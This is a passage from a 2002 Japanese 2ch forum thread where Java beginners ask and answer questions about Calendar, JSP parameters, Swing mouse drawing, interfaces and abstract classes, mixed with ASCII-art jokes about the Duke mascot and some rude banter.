Caldmy,WEEK_OF_MONTH は0になってしまいます。

以前このスレの中でJRE入れたりPlugIn入れれば良いというようなことが書かれていたのですが、
ユーザーがダウンロードしなければならないようなので、今回は1.1の仕様に合わせておきたいのです。
(たとえCalendarクラスの閏年のBugがわかっていたとしても)

なぜ1.1仕様では(?)このように書くとweek_in_Month(月末が月の何週目か)
と、first_in_Month_youbi(月初の曜日)が取得できないのでしょうか?
また、他の良い取得方法がありましたら教えていただけないでしょうか?
宜しくお願いします。
>>724
その程度で終わったと思うな。
完璧に理解できたのか?
何遍も読み返せよ。
727デフォルトの名無しさん:02/02/28 17:42
>Caldmy,WEEK_OF_MONTH は0になってしまいます。
Caldmy.WEEK_OF_MONTHでした。
それとthis.monthはそのまま表示できるように1月=1に直してあります。
>>724
一通り本当にやったのなら、ここで質問することなんてほとんど無い
はずだ。
729デフォルトの名無しさん:02/02/28 17:52
>>724

ポインターマニアの前橋本でもどう?
http://member.nifty.ne.jp/maebashi/nazojava/index.html
Effective Java なんてどうでしょう
731718:02/02/28 18:00
>721
リターンキーを押さずにキーの入力って取れないのでしょうか?
コンソールからはできないよ。
http://java-house.jp/ml/archive/j-h-b/020266.html#body
733デフォルトの名無しさん:02/03/01 09:33
入力ホームにあらかじめ任意の値を入れておく事はできますか?
できればクッキー使わずに、内部だけで行いたいのですが・・・
またJavaとJavaScriptを(略)
735デフォルトの名無しさん:02/03/01 11:06
初心者なんですけど、今JAVAゲームにはまっています。JAVAゲームを改造したり
高速化するためにはどうすればいいんでしょうか?教えてください(..)
736John ◆0z.4Is5E :02/03/01 11:18
javap
はまってるって
作ることにはまってるってことか?
738デフォルトの名無しさん:02/03/01 12:00
>>737
ちがいます、プレイする方です
>>738
おまえじゃ無理だからやめとけ。
>>739
烈しく同意
741デフォルトの名無しさん:02/03/01 16:05
JSPなんですけど、これってここで質問いいのでしょうか?
スレ違いだったらすいません。
<%! int i = 0; %>
<%= request.getParameter("receiveorder[0]") %>
<%= request.getParameter("receiveorder[i]") %>
これで、同じ値がでないのですがどうしたらよいのでしょうか?
iが添え字扱いされていないというのは解かったのですが
ならば添え字を使うには?というのが・・・
>>741
文字列の連結の仕方を調べろ、ヴォケ
743 :02/03/01 16:09
>>741
それはJSP云々の問題じゃないぞ。
↓見て0と表示されると思うのか?

int i = 0;
System.out.println("i");
744デフォルトの名無しさん:02/03/01 16:12
○をマウスでドラッグして動かすプログラムを製作する場合、もっとも簡単な方法はなんですか?
一から手作りしてもいいけどそれじゃスマートじゃない気がするので教えてください。
ちなみに一から作る場合というのは○の中にマウスポインタが入っているか否かを判定するものです。
>>744
キミが、スマートじゃない と思った方法を書いてみてよ。
そして、どうしてスマートじゃないと思ったか理由を書いてみてよ。
746デフォルトの名無しさん:02/03/01 16:32
>>745
まだ書いてないですが、スマートじゃないと思ったので書いてません。
で、>>744の簡単な説明でスマートじゃないやつがわかるとおもったんですが、もう少し詳細に説明すると
まず円はdrawOvalかなにかで表示します。マウスポインタの座標をgetPoint()でとります。その座標が円の
中かどうかを判定するための式を書きます。判定結果が真のときにマウスを押してドラッグすればマウスポインタ
が移動した分だけ円の位置も移動します。
で、これがスマートじゃないと思った理由は、理想的なものとして丸いコンポーネントをつくってそれにmouseMotionadapterやら
なにやら引っ付けてできるのではないかとおもったからです。こうすると判定式やら座標変換の式いらないし。
やってみてから言え
748744:02/03/01 16:43
俺が知りたいのは
貴方ならどうしますか?
それだけです。
具体的なコードではなくて方法です。
荒らしじゃぁ〜
荒らしがきおった〜
つまり744はデブ、しかもとびっきりのハゲメガネデブ
751デフォルトの名無しさん:02/03/01 17:18
byte[] x = new byte[500];
としたとき、
あとから、配列のサイズを求める方法ってどうすればよいのでしょうか?
.size()でもlength()でもダメなのですね。

>>751
lengthにはカッコがいらないだろ。
アホか。
>744
java.awt.geom.Elipse2D使おう。
点が含まれるかの判定にはcontains(double x, double y)
描画はGraphics2D.draw(Shape s)
754744:02/03/01 18:13
>>750
全部違います。
>>753
ありがとうございます。

荒らしてるのは.NET信者
756741:02/03/01 19:09
>>742,743
助言ありがとう。
私なりの理解は、"+" とか <%= とかで表記かと思ったのですが、駄目でした
また、月曜日試行錯誤してみます。
>>756
で、だ。
おまえがやりたいことは
Request.getParameterValues()
じゃないのかと小一時(略)
758デフォルトの名無しさん:02/03/01 23:53
SunのHP模様替えしてからjdk1.1の日本語版ドキュメントDL
出来るページが分からなくなったんだけど、どこか教えて頂けませんか?
不景気でSunはJavaから撤退したっ
760烏龍茶:02/03/02 03:15
>>758
なんかここらへんにありそうな気がせんか?
http://java.sun.com/products/jdk/1.1/ja/index.ja.html
761デフォルトの名無しさん:02/03/02 11:29
質問です、

JavaやJavaAppletは環境によって動作が結構異なると聞いています。
実際AppletではVMやブラウザの違いで激しく動いたり動かなかったり
速かったりどうしようもなく遅かったりすることは自身体験しています。

この辺りの情報がどこかに整理されていないでしょうか。

AppletとAppliを多少書くことになったのですが、この辺りがとても
不安です。
763デューク東郷:02/03/02 17:49
   人  w
   /〇ヽ/
  ( し- J
んー、いまいち。
765デューク東郷:02/03/02 19:37
   人  w
   /〇ヽ/  <うるせーボケ!
  ( し- J
>>765 ワロタ
それだけで
うまく特徴がだせるもんだ
768758:02/03/02 21:04
>>烏龍茶
お陰さんで見つかりました。どうもありがとう。
しかし、例えばネット公開してるアプレットとかだと、
結局1.1ベースが未だに標準なんだから、秋のサポート終了で
公開停止とかは止めて欲しいなぁ。>サン
6月にSoftBankからJava専門誌が刊行になるらしいぞ、っと
>>763
どうみればいいかわかりません。
771デフォルトの名無しさん:02/03/02 21:42
>>770
  人 
ヽ / 〇 ノ  ハァ?
  し-J
   人 
手ヽ / 〇 ノ 手
 足 し-J 足
で真ん中のが鼻?

773デフォルトの名無しさん:02/03/02 22:00
>>772

   人  w
   /〇ヽ/   < Dukeですけど、何か?
  ( し- J

http://java.sun.com/products/jndi/tutorial/jndiimages/duke.gif
duke ってアレだよなぁ…
じゃば子はもっとアレだけど。
775772:02/03/02 22:04
なにこいつ?なんかむかつく。
人  w
   /〇ヽ/   < ??
  ( し- J
777『ときめき♪じゃばこ』 :02/03/02 23:48
歌・じゃばこ & WFFMぱわふる合唱団

(じゃば! じゃば・じゃば!)
ドレミファじゃばこで フォーリンラブ
(L・O・V・E ラブラブじゃばこ)* 2
見た目はとてもシンプル 
だけど 中身複雑(じゃば・じゃば)
貴方の上でも動ける
きっと 恋のロジック(じゃば・じゃば)
お日様がくれた ミラクルじゃば。
不思議ね 起動するたび
ときめく予感 発火するじゃば。
 *サビ*
設計(おっけー!) 実装(おっけー!)
二人のハートが リンクするじゃば。
実行(おっけー!) 萌え萌え?(おっけー!)
ドレミファじゃばこで フォーリンラブ
>>761
もう、Webブラウザに振り回されるのあほらしいから、JavaWebStart使えよ。
779デフォルトの名無しさん:02/03/03 06:56
確認です。
interfaceを解釈するとつまり
弓をもっていても矢がないとだめだよ。矢には普通の矢、銀の矢などいろいろあるから自分ですきなの選んで装備してね。
ってとこでOKですか?
>>779
というよりは、

「弓矢」って何をする道具なのかは分かるよね?
弓矢が欲しいなら自分で作るかどこかから買ってきてね。

ということだと思われ。
>>779
0点
留年決定
782デフォルトの名無しさん:02/03/03 10:34
JavaWebStartを使ったアプリって
サーバーがサーブレット対応してないと無理ですか?
783デフォルトの名無しさん:02/03/03 12:45
抽象クラスとインターフェースの役割が分かりません。
抽象クラスについては、「メソッドの機能をサブクラスで決定させられる」
ことがメリットだとか書いてあるのですが、それは具体的にどのような場面
で利点があるのでしょう?
784デフォルトの名無しさん:02/03/03 13:19
>>783
それが、オブジェクト指向
意味ないように思われるかもしれないが
意味ある

最初は、その必要性がわからないかもしれないが
785H大魔王:02/03/03 14:17
   人  w
   /〇ヽ/ < それからどしたの?
  ( し- J
786デフォルトの名無しさん:02/03/03 15:44
マウスでドラッグした分だけ線を書くプログラムを
書いてみたんだけど動きません。誰か見てくれませんか?
   人 
 ヽ / 〇 ノ < 問題点を絞ってから質問しろよ!
   し-J
788デフォルトの名無しさん:02/03/03 15:51
言語を問わずコードの最適化、とか言うけどさ、
10万回とか100万回とかループさせて、ようやく
1秒くらい差がつく最適化なんてさ、あんま意味
ないんじゃないのか?

 最適化を施す作業時間 > 全ユーザーが最適化で短縮できるトータル時間

だろ。
789デフォルトの名無しさん:02/03/03 15:53
どこがいけないのかわからんのです。
addMouseMotionListener(new MouseMotionAdapter(){
public void mouseDrugged(MouseEvent e){
Graphics g=pg.getGraphics();
int x=e.getX();
int y=e.getY();
g.drawLine(oldx,oldy,x,y);
oldx=x;
oldy=y;
g.dispose();
がいけないんだと思うんすけど・・
すんません
× mouseDrugged
○ mouseDragged
791デフォルトの名無しさん:02/03/03 15:57
>789
   人 
 ヽ / 〇 ノ < MouseMotionAdapterにはmouseDruggedなんてメソッドは無いよ!!
   し-J
792デフォルトの名無しさん:02/03/03 16:02

うをっ!できた(w
ありがとう>790

ところでまた問題が発生したんすけど
swingを使ってフレームの
上にボタンを作ってその下にこのドラッグした分だけ
線を引くようにしてるんですけど上ボタンのエリア分マウスのポインタ
より下に線が書かれてしまうんです。
これをスマートに直すためにはどしたらいいんでしょうか?
質問ばっかですんません
状況がよくわからないけど、

pg.getGraphics();

getGraphics();
にするか、

addMouseMotionListener(

pg.addMouseMotionListener(
にするか、かな
794デフォルトの名無しさん:02/03/03 16:27
>793レスありがト
そうすると上のボタンのエリアまで書かれて
しまうんですよね・・・贅沢言い過ぎですかね
>790>791>793サン有難うござんした
もう少し考えてみますね

795デフォルトの名無しさん:02/03/03 16:57
Solarisの上でJDKを使いはじめたのですが、日本語表示できません。
unicodeで"\u3053\u3093\u306b\u3061\u306f"のようにして
PrintWriterで出力しています。他の環境ではちゃんと表示されるので
言語の問題ではなくVMの問題だと思うのですが、出力されるエンコード
はロケールによって決まるのですか?またその場合ロケールは何としたら
いいのでしょうか?
>>794
上のボタンとやらの下の正味の描画エリアになる部分にPanel
を張って、それにMouseMotionAdapter張るようにせよ。

座標取得の時、上のボタンの張ってあるエリアも座標エリア
の対象になってしまっているんだよ。多分。
797デフォルトの名無しさん:02/03/03 17:58
796さん
えっと。>793サンがおっしゃったように
一回描画エリアのパネルpgに張るように
pg.addMouseMotionListener(new MouseMotionListener(){
にしてみたんですけど実行するときにDosに
エラーが出てしまったんですよ。
あれからずっと考えてたんですけどわかりません
初期設定のint oldx,oldyを0としているのがわるいんですかね・・
もう自分でもなに逝ってるかわかりませんので30行くらい
書くので見てもらえませんか?初心者ですんません・・
798デフォルトの名無しさん:02/03/03 18:05
>>797
あと、pgからgetGraphics()したあとで、dispose()なんかしちゃだめよ。
折角drawしたグラフィックスコンテキストをすぐに捨てちまうってのは、
頭がおかしい人がやることだよ。
799デフォルトの名無しさん:02/03/03 18:17
アーわかりませんでした!
class rakugakiFrame extends JFrame{
private int oldx=0,oldy=0;
private JPanel pg;
public rakugakiFrame(){
setSize(400,300);
addWindowListener(new WindowAdapter(){
public void windowClosing(WindowEvent e){
System.exit(0);
}
});

addMouseListener(new MouseAdapter(){
public void mousePressed(MouseEvent e){
oldx=e.getX();
oldy=e.getY();
}
});

addMouseMotionListener(new MouseMotionAdapter(){
public void mouseDragged(MouseEvent e){
Graphics g=pg.getGraphics();
int x=e.getX();
int y=e.getY();
g.drawLine(oldx,oldy,x,y);
oldx=x;
oldy=y;

}
});

JPanel p=new JPanel();
JButton bt=new JButton("消去");
p.add(bt);
bt.addActionListener(new ActionListener(){
public void actionPerformed(ActionEvent e){
pg.repaint();
}
});

Container c=getContentPane();
c.add(p,"North");
c.add(pg=new JPanel(),"Center");
pg.setBackground(Color.green);
}
}
こんな感じなんすけどお願いします
ご迷惑をおかけします。
800デフォルトの名無しさん:02/03/03 18:22
>>799
フレームにパネル張っとけよ。
801デフォルトの名無しさん:02/03/03 18:25
public class rakugaki{
public static void main(String args[]){
JFrame w=new rakugakiFrame();
w.show();
>800サン
すんません省略しちゃいました
これでどうでしょう
802800:02/03/03 18:49
import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
import javax.swing.event.*;

public class RakugakiFrame extends JFrame{

  private int oldx=0,oldy=0;
  private JPanel pg;

  public RakugakiFrame(){
    Container c=getContentPane();
    JPanel p=new JPanel();
    JButton bt=new JButton("消去");
    p.add(bt);
    c.add(p,"North");
    c.add(pg=new JPanel(),"Center");
    pg.setBackground(Color.green);
    pg.setForeground(Color.red);
    setSize(400,300);
    addWindowListener(new WindowAdapter(){
      public void windowClosing(WindowEvent e){
        System.exit(0);
      }
    });
    pg.addMouseListener(new MouseAdapter(){
      public void mousePressed(MouseEvent e){
        oldx=e.getX();
        oldy=e.getY();
      }
    });
    pg.addMouseMotionListener(new MouseMotionAdapter(){
      public void mouseDragged(MouseEvent e){
        Graphics g=pg.getGraphics();
        int x=e.getX();
        int y=e.getY();
        g.setColor(pg.getForeground());
        g.drawLine(oldx,oldy,x,y);
        oldx=x;
        oldy=y;
      }
    });
    bt.addActionListener(new ActionListener(){
      public void actionPerformed(ActionEvent e){
        pg.repaint();
      }
    });
  }
  public static void main(String args[]){
    new RakugakiFrame().show();
  }
}
803とおりすがり:02/03/03 18:50
>>800

>>799のコードには、
>class rakugakiFrame extends JFrame{
(略)
>Container c=getContentPane();
>c.add(p,"North");
>c.add(pg=new JPanel(),"Center");
て書いてあるから、充分でそ。
804デフォルトの名無しさん:02/03/03 18:56
>802
おおー神だ!有難うございます。
ほかにも協力してくださった皆さん有難う
ございます。これからも切磋琢磨勉強して行きますので
なんかあったらよろしくお願いいたします。
805800:02/03/03 18:58
ちゃんとソース読まないで間抜けな事を書いたお詫びッス。
806jj:02/03/03 19:05
javaのediterのサンプルコードを公開しているサイトをおしえてください。
807デフォルトの名無しさん:02/03/03 19:07
>>806
JDK同梱のデモのNOTEPAD。
808 :02/03/03 21:09
最近始めたものですが,APIってやつ?java.lang.*とかjava.awt.*
とかJFrameとかって階層構造になってますよね?
最初は本に書いてあるのを取りあえずそのまま使っていますが,
買いそう小僧の全体像(必要なやつ)が見えないので何となく気持ち悪いです。

最初にそういう思いってしませんでした?
絵で書いてある情報があれば教えてクサイ。
パッケージの階層構造なんてネーミング上のものだけじゃん。たいして意味なし。
810MAKUBE:02/03/03 21:14
>>809
多分808へのレスですかね?
つまり,たいして意味がないけど,「気持ち悪い」
というのが808の意見では?
>>810
いやー何かさ、設計書の中身も理解しようとしないくせに「全体の
構成図がないと気持ち悪い」とか言いそうな奴の臭いがしたわけよ。
っていうかおまえ自演だろ。
812MAKUBE:02/03/03 21:24
>>811
自演じゃないが?
まあ,最初に勉強する時には役に立たないことを知りたいと
思うのもよくあるんじゃないの?
>>810は仕事でJavaを使っているの?上司や顧客に頭ごなしに
怒られている姿が想像できる。

813デフォルトの名無しさん:02/03/03 21:30
   人     / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 ヽ / 〇 ノ  < 使ってれば慣れるよ!
   し-J     \_________
>812
アナタがおしえてあげれば解決

   人     / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 ヽ / 〇 ノ  < チャン チャン ♪
   し-J     \_________


> まあ,最初に勉強する時には役に立たないことを知りたいと
> 思うのもよくあるんじゃないの?
まぁそれはありがちだな。だからたいして意味なしと言ったまで。
っていうかおまえからも何か匂うぞ
816John ◆0z.4Is5E :02/03/03 21:35
>>808
http://java.sun.com/j2se/1.4/ja/docs/ja/api/index.html
これがあれば多分大丈夫だよ。
日本語のやつは自分で探してね。
>>811
言いたい事よく分かるぞ。何でも一覧になってないと気がすまない奴な。
詳細は見ないくせに。
>>817
縦5M横20Mのクラ図やERDを作って自己満足するアホがうちにいるよ…
誰が見るんだそんなもんと思っていたんだが、アホがいるのはうちだけ
じゃないんだね。
>>818
さすがにそこまでのアフォは…
せいぜいローカル変数の一覧まで出せとか、その程度っす
820MAKUBE:02/03/03 21:48
まー,一回見ればそれで落ち着くっていうのもあるよね〜。
>>815
俺?化学屋さんだよ?
例えばさー,生化学の実験室行くと代謝工学の反応図
(でーーっかい,化合物の反応過程のフローが書いてあるもの)
とか貼ってあって誰も見てないっていうのが良くあるのよ。
ところで,部屋に張ってあるポスターって皆さんは良く見ますか?
俺は見ないね。でもそれが十分部屋の雰囲気を構成しているもの
だったりするような。観点ずれた。
まー知りたいというのは人の重要な欲求の一つだから,こういうことは
よく起きるんだろうね。それが十分に活用されることはないのだけれど。
821MAKUBE:02/03/03 21:55
>>816
優しい人だのう。
そんなの意味なしと一蹴する人(言っていることは真で)
とまあ有り勝ちやけんどなと言って取りあえず教えてくれる人と。
どっちが良いかと言えば?(他人にとっても本人にとっても)
>>820
まぁ言いたい事は良く分かった。俺も格好から入るタイプだし。
ただし軍手と作業エプロンしただけで掃除した気になってしまうとう諸刃の剣。
823John ◆0z.4Is5E :02/03/03 22:01
>>821
どうしてもというなら、
doxygenという
ソースコードからリファレンスを作るプログラムがあるので
それを利用(doxygenに組み合わせて使うプログラムも必要)すると
おそらく、作る事ができると思われる。
おそらくなんだけどね。
時間があったらやってみて、報告するけど。

わからなければ、アンチooに疲れたみたいなスレで聞いてくれてもいいよ。
>>821
なんだ、やっぱ自演か。API リファレンスくらいとっくに
見てると思ったぞ。
   人     
 ヽ / 〇 ノ  <-これってもしかして 
   し-J     
   人     
 ヽ / ● ノ    < 何か?
   し-J     
   人      / ♪探し物はリファレンス〜
 ヽ / 〇 ノ  <        見つけにくいリファレンス〜
   し-J     \  /usr/local/man の中も、/usr/man の中も、
           \   探したけれど見つからないのに
            |     にちゃんで聞いてみますか〜
              |  ちょっと煽られぎみじゃありませんか〜
>>827
DLしたらREADMEくらい読みましょう。
829 :02/03/03 22:49
   人  w
   /〇ヽ/ < それから、それから?
  ( し- J
830デフォルトの名無しさん:02/03/03 22:50
   人  w
   /●ヽ/ < どうよ?
  ( し- J
>   人  w
>   /●ヽ/ < どうよ?
>  ( し- J
ウザイ
出会い

   人     ∧∧
 ヽ / 〇 ノ  (゚Д゚,,) ̄ ̄ 丶〜
   し-J    U U  ̄ ̄UU
------------------------------
別れ             ∧∧
     カエセヨ-      ( ゚Д゚)
      人        /⊃_つ〇
      / ノ ノ    〜′ /
C- C-  し-J     し' U
833デフォルトの名無しさん:02/03/03 23:06
C#とJavaってどう違うんですか?
JScriptとJavaScriptの差みたいなもんですか?
834デフォルトの名無しさん:02/03/03 23:13
>>833
どうせ、「JScriptとJavaScriptの差」すらわかってないくせに・・・
>>832
ワロタ
836デフォルトの名無しさん:02/03/03 23:53
インターフェイスって中身がある場合もあるんですね。そんなこと一言も教科書にない!
>>836
抽象クラスのこと? public static final 変数のこと?
838 :02/03/03 23:55
staticメソッドだろ。
>>836
ハァ?定数を中身というなよ…
>>838
インターフェースに static メソッドって作れたっけ?
static イニシャライザ?
static メソッドも static イニシャライザもダメでしたが
842836:02/03/04 00:08
定数でないですよ。
例えばRunnableをインプリメントするとスレッド機能がつかえますでしょ?
そのこと。
>>842
えーと、こんにちは世界…
844 :02/03/04 00:12
static class でした。
>>842
アノニマスインナークラスはインターフェイスじゃないよ。
846845:02/03/04 00:16
Runnable a = new Runnable(){public void run(){;}}
っていうのは、

class 名無し implements Runnable{public void run(){;}}
Runnable a = new 名無し();

っていう風に、内部で解釈されるだけ。
別にインターフェイスのインスタンス作っているわけじゃない。
スーパー 初心者なのですがjavaのお勉強は
SDKではじめるのとJビルダーとかで始めるのはどちらが良いですか?
SDKの教側本を3200円も出して買ってきた後に聞くのもなんですが、
>>847
SDKの使い方を知らずにIDE一本でやってると、GUIコンポーネントの
使い方がVBライクなやり方しか出来ないカタワになりそうな気がする…

どうせJavaのGUIライブラリはスクラッチで書いても難しくないので、
最初はSDKから直で何でも作ってみるようにしたほうがいいと思うよ。
個人的には。
849836:02/03/04 00:23
>>845
impliments RunnableのRunnableってインターフェイスのことじゃないんですか?
ここで無名内部クラスっ関係あるんですか?

独習javaってひょっとしてブラック?
>>849
「インターフェイスで定義しているメソッドの中身を実装を行った
クラス」ならインスタンスは作れるが
「インターフェイス」自身には中身はないよ。

本がブラックなんじゃなくて、あんたの理解のベクトルがひん曲が
ってるだけ。
851847:02/03/04 00:30
>>848
ありがd
自分もGUIになれちゃうとSDKがわからなくなってしまうかなぁとおもいまして。
SDKでがんばります〜。

でもなんでjavaの本て高いの・・・  オフィス系とかだといまや1000円切るのが常識なのに。(内容は無いけど)
852848:02/03/04 00:32
>>851
本気でプログラミングを勉強するつもりなら、プログラミング自体以外の
ものも含めて、沢山の5000円前後の専門書を買い漁る羽目になります。
しっかり稼いどけよ(藁
853836:02/03/04 00:34
う〜ん・・・
そゆことだとスレッドを使うにはRunnableじゃなくて自分でかってに作ったインターフェイスでもOkなような気がするんですが・・・

>本がブラックなんじゃなくて、あんたの理解のベクトルがひん曲が
>ってるだけ。
自覚あります。

ほんじゃついでにも一つ。

854836:02/03/04 00:35

>ほんじゃついでにも一つ。
無視してください。
>>853

Threadクラスが、

"startがコールされると、スレッドをスタートさせて、そのスレッドで
コンストラクタで渡されたRunnable実装クラスのrun()をコールする。
引数なしコンストラクタであった場合は、自分自身のrun()をコールする"

というルールがあるから、Runnable以外ではスレッド起動は無理。

Threadと同等の機能を持つクラスをJNIでも利用して自作すれば、
そこに渡す物だって自分で勝手に作ったインターフェイスでOKになるよ。
(そんな面倒な事をするアホはめったにいないけど)
856デフォルトの名無しさん:02/03/04 01:07
Visual J++ 6.0 でコンパイルし実行すると、
C:\WINNT\system32\JView.exe の起動に失敗しました
と出て実行できません。

Windows2000 SP2, IE6.0です。
解決法を教えてください。

JDKの方では実行できるのですが・・
>>856
割れ物だとそうなるよ。
858856:02/03/04 01:15
Professional を買いました。
デューク東郷良いんだが、いま一つな出来だな。
もう少しbrush upしてくれ。
860741:02/03/04 10:49
>>752
ありがとうございました。 まさにその通り。
こ一時間問い詰められたいです・・・
861デフォルトの名無しさん:02/03/04 10:52
目を付けて見た。 なんかゴンタ君みたいになった。

    人  b
   /゚〇゚ヽ/
  ( し- J
目がない方が愛くるしいな。
元キャラに目なかった記憶があるが、ちがった?
864デフォルトの名無しさん:02/03/04 14:55
ほんとに初心者な質問でごめんなさい
String i = "100" を、計算できるように int型に変換したいのですが
調べたら

java.lang.Character にあるメソッドを使います。
数値に変換する場合は、digit(char ch, int radix) を使います。

と、あるのですが、使い方がわかりません。実例をと思いdigitで検索かけたのですが
ヒットしませんでした。
実例を教えていただけないでしょうか。
レベル低くてすいません。ごめんなさい。もうしわけない
865デフォルトの名無しさん:02/03/04 15:01
int i = Integer.parseInt("100");
 ̄ ̄ ̄∨ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
   人  b
   /〇ヽ/
  ( し- J
>>865
ゴルゴ先生(?)ありがとう!
誰だゴルゴ先生って
デューク東郷?
869Duke:02/03/04 16:15
Javaプログラマで俺を知らない奴って、居るんか?
 ̄ ̄ ̄∨ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
   人  b
   /〇ヽ/
  ( し- J
おれ、しらん。まぁ、プログラマってレベルじゃないから参考にならんな・・
誰か>>856答えてやれよw
お前が答えてやればいいだろ(w

と言いつつ

>856
"C:\WINNT\system32\JView.exe"は存在してる?
無いならMS Javaの実行環境がインストールされてないんだと思う。
MS SDK for Javaでも入れてみれば?
http://www.microsoft.com/java/sdk/default.htm

それでもダメならVJ再インストールとか、
MSのサポートに電話とか。
VJさわったことにゃーでにゃー
>>832
激ワラ
http://java.sun.com/features/1999/05/duke_gallery.html
……俺に用か……。
 ̄ ̄ ̄∨ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
   人  b
   /〇ヽ/
  ( し- J
876ど素人:02/03/04 22:01
Windowsにjdkインストールするとします。
C:\jdk1.3.*で、ここをJAVA_HOMEにしますね?
で、JREがデフォでC:\Program Files\JavaSoftなんてところに入りますよね?
それは良いんですが、JAVA_HOME以下にもjreというディレクトリがありますが、どう違うんですか?
無駄なような気がするんですが...
877独習君:02/03/04 22:41
抽象クラスがどうして必要なのかがわかりません。

書いてあるプログラムは理解できるけど、
なぜ必要なのか・・・

後でわかりやすくするためですか?
ヘタに抽象クラス作って、間違ってインスタンス化して怒られるだけ(涙
    ↑作り方が悪いんだな。。
878 :02/03/04 22:47
素人に継承はお勧めできない。
879デフォルトの名無しさん:02/03/04 23:54
ものすごく基本的っぽいことなので心苦しいんですが
.exe見たいな実行形式のファイルってどうやって作るんですか?
(C上がりの初心者)
Main-Class:(mainメソッドがあるクラス)と書いた
マニフェストファイルを使ってJarを作る。

Windows98以降ならダブルクリックすると起動できるよ。
>>877
abstractクラスはインスタンスか出来ません(藁
882独習君:02/03/05 00:43
怒られる=コンパイルエラー
いや、ただわかってないだけなんですけどね
>>882
クラスを自作しようとして、あるクラスの機能に似た機能を持つクラスを50こ
暗い作らなきゃいけないようなときに、クラス毎で同じ実装になるメソッド分
だけ抽象クラスに実装しておいて、残りの違いが出るメソッドは継承したクラス
に書くようにすると、いいことがある。例えば、

1.コードを書く量が減る。
 まあこれは、商品レベルでは意味がないんだけど。

2.抽象クラスに実装されたメソッドは、まさにそこにしかコードがないので、
 後々修正作業が楽。そこだけ修正すれば、効果は50個のクラス全てに波及する。
 50個の機能の似たクラスを全部それぞれでコーディングしたら、同じ実装を
 しているメソッドを50個すべて同じように修正しなきゃならん。バグの元。
884879:02/03/05 00:56
>>880
でけた。さんくす
885独習君:02/03/05 01:07
>>883
よくわかりました!! ありがとうございます

悪口言うのもなんですが、独習Java(p.182〜)の説明では
抽象クラスで宣言したメソッドを1回も使ってないんです。
そのサブクラスで全部、定義しなおし(実装する?)てるんです。
・・・本が悪いのか、読み方が悪いのか・・・
886独習君:02/03/05 01:14
>>885追加
抽象クラスでは宣言だけで実装されてるメソッドがないんです。
使えないのは当たり前なんですが、
これだと抽象クラスの意味がないと思って・・・

粘着気味
887883:02/03/05 01:14
>>885
抽象クラスやインターフェイスの本当の目玉は、ポリモルフィズムに
あるんだけどね。
888883:02/03/05 01:22
まさにそれが、インターフェイスや抽象クラスの本来の使い方ですがな。
ユーザは抽象クラス型の参照(当然実体はそのサブクラスのどれかだよね)
からそのメソッドをコールしたときに、本当のインスタンスが実装している
メソッドがコールされるんだよ。

ポリモルフィズムの意義を覚えると、凄く賢くなった気がして嬉しいもんだよ。
頑張れ。
889デフォルトの名無しさん:02/03/05 01:26
だれかー!教えておくり
JTableのヘッダーをドラッグすると移動するのを止めたいのですが
ひょっとして難しいんでしょうか?
890883:02/03/05 01:32
JTableHeader#setReorderingAllowed(boolean reorderingAllowed)
891 :02/03/05 01:39
>>886
そういうのはabstract classではなくinterfaceにすべきでは。
892独習君:02/03/05 01:47
インターフェイスはまだ出てきてません。。
少し読んだところによると、自分なりに解釈すると
「抽象クラスみたいなモノでメソッドの実装をしないもの」のような気がします。

抽象クラスもインターフェイスも
プリモルフィズムのためのものと考えていいですか?
893883:02/03/05 01:52
>>892
メソッドの実装が全くないのがインターフェイス。
C++でいうところの完全抽象クラス。

C++のダイアモンド型多重継承の問題を言語仕様として発
生しないようにする為に、
「(メソッド実装がありうる)クラスは単一継承のみ可能、
(メソッド実装が全くない)インターフェイスは多重継承
可能」という仕様になっているのよ。

「インターフェイスはメソッド実装が全くないから、多重
継承可能」というところが、Javaの継承モデルの賢いところ。
(多重継承しようとしたインターフェイスのメソッド同士
のバッティングの問題が残っているので、まだカタワだと思う
けど)

…という話が理解できるように、ガンバローネ。
894デフォルトの名無しさん:02/03/05 01:58
>>890
ありがとうございました!!!!!
>>894
なぜそれが見つけられなかったのか?と自省する人ほど上達が早いと思う。
896デフォルトの名無しさん :02/03/05 17:15
データベースのテーブル操作クラスを作っているんですが、
初心者のため、クラス分けに悩んでいます。
データの検索(SELECT〜)はSQL文などを渡して結果が戻る、みたいに
汎用クラスを作ればよさそうです(よね?)。同様に、ある1テーブルの
データを削除するのも、上記のクラスを拡張するとよさそうな気がします。
問題は新規追加と上書き修正の場合なんです。
テーブルによってフィールドの数や名前が違うので、テーブル毎にクラスを
作って「新規追加メソッド」「上書き修正メソッド」を作るべきかどうか・・・
このあたりは定石パターンがあると思うのですが、よろしければご教授下さい。
>896 仕事なら「EJB使え」って所だけど、、、
>>896
もうちょっと具体的に書いてみろ。
899デフォルトの名無しさん:02/03/05 17:58
>897
仕事です(涙
社内SE兼プログラマなので、全部独学なんです・・・
Apache、Tomcat、JavaSDK、J2EEまで導入して、Javaと
Servlet、JSP、JDBCの本を4冊読んで始めたばかりです。
VBとAccessに関しては中級クラスですが、Java関連は初心者です。
EJBってよくきくのですが、そこまで勉強していませんでした。
http://www.dmz.hitachi-sk.co.jp/Java/Tech/api/ejb/true-ejb.html
へ逝ってきます・・・
EJB使え。

・・・必要があるならな。
>898
分からないことがあり過ぎて途方に暮れています・・・
頭の中がAccessのDAOなので、どのような処理をすれば
よいかは分かるのですが、それをJavaで実現しようとすると、
どのようにクラスを作るべきかが分からないんです。
JDBCの基本処理は分かっているし、サンプルも手元にあるの
ですが、それが仕事でそのまま使えるわけではないです(よね?)。
Webアプリ作成が始めてなので、悩んでいます・・・
・複数のテーブルに対して1トランザクション中で追加や削除などを
行う場合、どのようにクラスを作ればよいか
・本のサンプルだと、あるクラスのある1メソッドの中で、connection
生成〜ResultSetで書き換え〜ResultSet、Statementの解放〜connection
の解放まで全て完結しているが、実際の現場でこれは使えないのでは?

混乱していてごめんなさい。
先程のサイトから戻ってきました。
以前、EJBを使うのは「りんごをなたで切るようなもの」と
きいたことがあります。結構大掛かりな仕組みのような気が。
クライアント数十人、今までAccessで動いていたツールに
